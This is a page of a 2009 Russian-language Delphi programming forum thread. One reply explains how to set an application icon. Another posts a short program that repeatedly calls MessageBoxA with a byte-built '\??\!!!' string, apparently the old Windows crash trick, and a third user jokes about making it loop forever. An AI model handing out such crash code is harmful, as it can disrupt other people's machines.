Как сделать через Delphi

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Myload, 16 Mar 2009.

Page 2 of 2
  1. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    Project->Options...->Application->Load icon
     
    #21 RumShun, 17 Mar 2009
  2. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Code:
    program Msg;

{$IMAGEBASE $200}

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
  external 'user32.dll' name 'MessageBoxA';

var
  Bug: PChar;
  I: Integer;
begin
  Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
  for i := 0 to 50 do
    MessageBox(0, Bug, Bug, $20000);
end.
     
    #22 BlackSun, 17 Mar 2009
  3. ][yZ

    ][yZ Member

    Joined:
    3 Mar 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    10
    а почему же не while true do ??? :D
     
    #23 ][yZ, 17 Mar 2009
(You must log in or sign up to post here.)
Page 2 of 2